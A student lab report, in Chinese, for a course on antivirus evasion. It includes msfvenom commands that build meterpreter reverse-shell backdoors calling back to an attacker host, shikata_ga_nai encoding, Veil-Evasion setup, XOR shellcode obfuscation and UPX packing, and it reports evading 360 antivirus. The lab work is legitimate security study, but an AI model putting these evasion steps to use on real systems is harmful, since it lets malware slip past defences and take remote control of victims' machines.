20155326 刘美岑 《网络对抗技术》免杀原理与实践

实践内容

1）正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧；

2）通过组合应用各种技术实现恶意代码免杀

（如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的结果验证要截图。）

3）用另一电脑实测，在杀软开启的情况下，可运行并回连成功，注明电脑的杀软名称与版本

基础问题回答

（1）杀软是如何检测出恶意代码的？

答：AV厂商检测恶意软件的方式主流的就三种：

基于特征码的检测：每个程序都会有一段特征码，或者说是一段数据。杀毒软件可以检测某个程序的特征码是否包含恶意代码的特征码，以此来判定是否为恶意代码

启发式恶意软件检测：杀毒软件检测某个程序在系统中做的事情，是不是恶意代码做的事情。以此来判断是不是恶意代码

基于行为的恶意软件检测：也是启发式的一种，可以理解为加了监控模式的启发式检测

（2）免杀是做什么？

答：免杀就是就是让我们的恶意软件没法被以上三种方式找到。

（3）免杀的基本方法有哪些？

答：对于针对杀软基于特征码的检测方法，可以改变或者隐藏恶意代码的特征码。比如使用加壳或者是异或改变特征码。

实践过程记录

MSF编码器

首先，直接使用上一个实验生成的后门程序检测结果如下（由于要去除数字，所以将之前的后门程序改了个名字，后面的测试代码也是这样）：

接着我们试一下进行一次编码，输入指令：msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.26.132 LPORT=5326 -f exe > bdoor.exe 对恶意代码进行一次编码，生成新的恶意代码bdoor，放到virscan检测结果如下：

再来试一下十次编码会是什么结果，输入指令： msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.26.132 LPORT=5326 -f exe > bdoor1.exe 对恶意代码编码10次，生成新的恶意代码bdoor1，检测结果如下：

这里看出编码次数再多，也没什么变化。

使用Veil-Evasion生成可执行文件

输入指令：veil打开veil

使用命令：use Evasionz找到其中c/meterpreter/rev_tcp.cp,接着设置IP和端口：set LHOST 192.168.26.131 和set LPORT 5326

将该后门拷到本机时360没有叫嚣出现恶意程序，该可执行文件存在kali计算机的/var/lib/veil/output/compiled/文件夹里，将文件放到网站上扫描（这里重命名为bdoor2）：

利用shellcode编程

首先，生成一段shellcode代码：

将自己生成的shellcode代码加入到老师给的程序中，编译出来一个恶意代码程序，然后对其进行检测

在kali主机下，进入终端，执行指令：msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击者IP LPORT=443 -f c

创建一个C文件：MSSC_5326.c（意为免杀shellcode），将上面生成的数组copy到该文件下，并加入一个主函数：

使用i686-w64-mingw32-g++ MSSC_5326.c -o MSSC_5236.exe命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5236.exe

放到网上检查一下：

接下来应该将上面生成的数组copy到主机上，用vc编写一个C程序并编译,在Kali下使用msf监听，运行刚刚编译生成的可执行文件，成功得到shell。

接下来，将刚刚生成的shellcode进行伪装，以免被杀毒软件查出来，将shellcode数组与0x26异或，将变化后的shellcode放入原C文件中，再加入for循环将使他还原，发现回连成功。

上面的代码经学姐指出有问题后将_asm;之后的‘;’删掉了，也不知道为什么之前的代码有问题但是也能运行出来，我觉得可能vs的容错性较高？错的代码都能运行。。。

将生成的.exe程序进行测试，** 360在运行时没有报警告 **，virscan测试结果如下，可以看出经过伪装后还是有用的：

加壳

upx是一种压缩程序，可以实现加壳的功能，输入以下指令：upx MSSC_5326.exe（需要加壳的文件名） -o MSSC1_5326.exe（加壳后的文件名）

检测结果如下：

离实战还缺些什么技术或步骤

可以通过类似挂马的方式将恶意代码传到靶机上。

杀毒软件的病毒库会随时更新，恶意代码不会长久产生危害，恶意代码需要被设计的更高级。

实践总结与体会

通过这次的免杀实验，我掌握了恶意代码躲避杀毒软件检测的方法，体会到了病毒程序的恐怖。发现了只要将恶意代码稍作修改，就能逃脱杀毒软件真的检测，可见最好的方法还是不下载不明软件，不点击不正规的网站，及时更新病毒库。...我也不知道我的360怎么了，在实验中我每次把测试的恶意代码从kali拖到自己电脑时都没有安全警告提示，后来发现好像是上次实验关过一次360以后没有打开360杀毒。。。